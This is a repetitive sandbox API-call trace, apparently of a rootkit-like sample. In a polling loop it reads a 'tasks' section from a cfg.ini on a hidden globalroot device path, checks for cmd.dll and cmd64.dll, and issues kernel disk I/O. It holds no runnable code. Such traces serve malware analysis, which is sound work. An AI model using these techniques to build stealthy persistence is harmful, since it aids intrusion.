KeEnterCriticalRegion () [0122.521] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.521] ExFreePoolWithTag (P=0xfffffa8003be5290, Tag=0x0) [0122.521] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.521] KeLeaveCriticalRegion () [0122.521] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.521] ReleaseMutex (hMutex=0xf0) returned 1 [0122.521] Sleep (dwMilliseconds=0x927c0) [0122.535] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.535] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.535] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.535] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.535] KeEnterCriticalRegion () [0122.535] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.535] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.535] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.536] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.536] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.536] IdePortDispatch () returned 0x103 [0122.536] KeWaitForMutexObject () returned 0x0 [0122.536] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.536] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.536] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.536] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.536] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.536] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6cb0 [0122.536] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.536] KeLeaveCriticalRegion () [0122.536] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.536] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.536] KeEnterCriticalRegion () [0122.536] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.536] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.536] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.536] KeLeaveCriticalRegion () [0122.536] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.536] KeEnterCriticalRegion () [0122.536] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.536] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.536] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.536] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.536] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.536] IdePortDispatch () returned 0x103 [0122.536] KeWaitForMutexObject () returned 0x0 [0122.536] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.536] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.537] KeLeaveCriticalRegion () [0122.537] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.537] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.537] KeEnterCriticalRegion () [0122.537] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.537] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cad000 [0122.537] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.537] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.537] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.537] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.537] IdePortDispatch () returned 0x103 [0122.537] KeWaitForMutexObject () returned 0x0 [0122.537] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.537] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.537] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.537] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.537] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.537] IdePortDispatch () returned 0x103 [0122.537] KeWaitForMutexObject () returned 0x0 [0122.537] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.537] KeLeaveCriticalRegion () [0122.537] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.538] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.538] KeEnterCriticalRegion () [0122.538] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.538] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.538] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.538] KeLeaveCriticalRegion () [0122.538] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.538] KeEnterCriticalRegion () [0122.538] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.538] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.538] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be5dc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.538] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.538] KeLeaveCriticalRegion () [0122.538] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.538] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.538] KeEnterCriticalRegion () [0122.538] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.538] ExFreePoolWithTag (P=0xfffffa8003be6cb0, Tag=0x0) [0122.538] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.538] KeLeaveCriticalRegion () [0122.538] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.538] ReleaseMutex (hMutex=0xf0) returned 1 [0122.538] Sleep (dwMilliseconds=0x927c0) [0122.552] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.552] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.552] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.552] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.552] KeEnterCriticalRegion () [0122.552] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.552] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.552] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.552] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.552] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.552] IdePortDispatch () returned 0x103 [0122.552] KeWaitForMutexObject () returned 0x0 [0122.552] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.552] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.552] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.552] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.552] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.552] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be5d00 [0122.552] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.552] KeLeaveCriticalRegion () [0122.552] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.553] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.553] KeEnterCriticalRegion () [0122.553] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.553] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.553] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.553] KeLeaveCriticalRegion () [0122.553] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.553] KeEnterCriticalRegion () [0122.553] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.553] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.553] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.553] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.553] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.553] IdePortDispatch () returned 0x103 [0122.553] KeWaitForMutexObject () returned 0x0 [0122.553] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.553] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.553] KeLeaveCriticalRegion () [0122.553] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.553] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.553] KeEnterCriticalRegion () [0122.553] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.553] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb2000 [0122.553] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.553] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.553] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.553] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.553] IdePortDispatch () returned 0x103 [0122.553] KeWaitForMutexObject () returned 0x0 [0122.554] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.554] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.554] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.554] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.554] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.554] IdePortDispatch () returned 0x103 [0122.554] KeWaitForMutexObject () returned 0x0 [0122.554] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.554] KeLeaveCriticalRegion () [0122.554] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.554] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.554] KeEnterCriticalRegion () [0122.554] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.554] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.554] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.554] KeLeaveCriticalRegion () [0122.555] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.555] KeEnterCriticalRegion () [0122.555] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.555] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.555] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be5dc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.555] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.555] KeLeaveCriticalRegion () [0122.555] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.555] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.555] KeEnterCriticalRegion () [0122.555] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.555] ExFreePoolWithTag (P=0xfffffa8003be5d00, Tag=0x0) [0122.555] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.555] KeLeaveCriticalRegion () [0122.555] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.555] ReleaseMutex (hMutex=0xf0) returned 1 [0122.555] Sleep (dwMilliseconds=0x927c0) [0122.573] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.573] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.573] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.573] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.573] KeEnterCriticalRegion () [0122.573] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.573] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.573] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.573] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.573] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.573] IdePortDispatch () returned 0x103 [0122.573] KeWaitForMutexObject () returned 0x0 [0122.574] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.574] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.574] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.574] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.574] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.574] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6ab0 [0122.574] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.574] KeLeaveCriticalRegion () [0122.574] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.574] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.574] KeEnterCriticalRegion () [0122.574] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.574] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.574] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.574] KeLeaveCriticalRegion () [0122.574] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.574] KeEnterCriticalRegion () [0122.574] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.574] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.574] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.574] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.574] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.574] IdePortDispatch () returned 0x103 [0122.574] KeWaitForMutexObject () returned 0x0 [0122.574] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.574] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.574] KeLeaveCriticalRegion () [0122.574] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.574] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.574] KeEnterCriticalRegion () [0122.574] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.574] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb7000 [0122.574] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.575] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.575] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.575] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.575] IdePortDispatch () returned 0x103 [0122.575] KeWaitForMutexObject () returned 0x0 [0122.575] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.575] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.575] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.575] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.575] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.575] IdePortDispatch () returned 0x103 [0122.575] KeWaitForMutexObject () returned 0x0 [0122.575] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.575] KeLeaveCriticalRegion () [0122.575] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.576] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.576] KeEnterCriticalRegion () [0122.576] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.576] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.576] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.576] KeLeaveCriticalRegion () [0122.576] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.576] KeEnterCriticalRegion () [0122.576] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.576] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.576] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be6b70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.576] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.576] KeLeaveCriticalRegion () [0122.576] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.576] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.576] KeEnterCriticalRegion () [0122.576] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.576] ExFreePoolWithTag (P=0xfffffa8003be6ab0, Tag=0x0) [0122.576] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.576] KeLeaveCriticalRegion () [0122.576] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.576] ReleaseMutex (hMutex=0xf0) returned 1 [0122.576] Sleep (dwMilliseconds=0x927c0) [0122.590] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.590] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.590] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.590] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.590] KeEnterCriticalRegion () [0122.590] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.590] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.590] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.590] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.590] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.590] IdePortDispatch () returned 0x103 [0122.591] KeWaitForMutexObject () returned 0x0 [0122.591] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.591] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.591] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.591] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 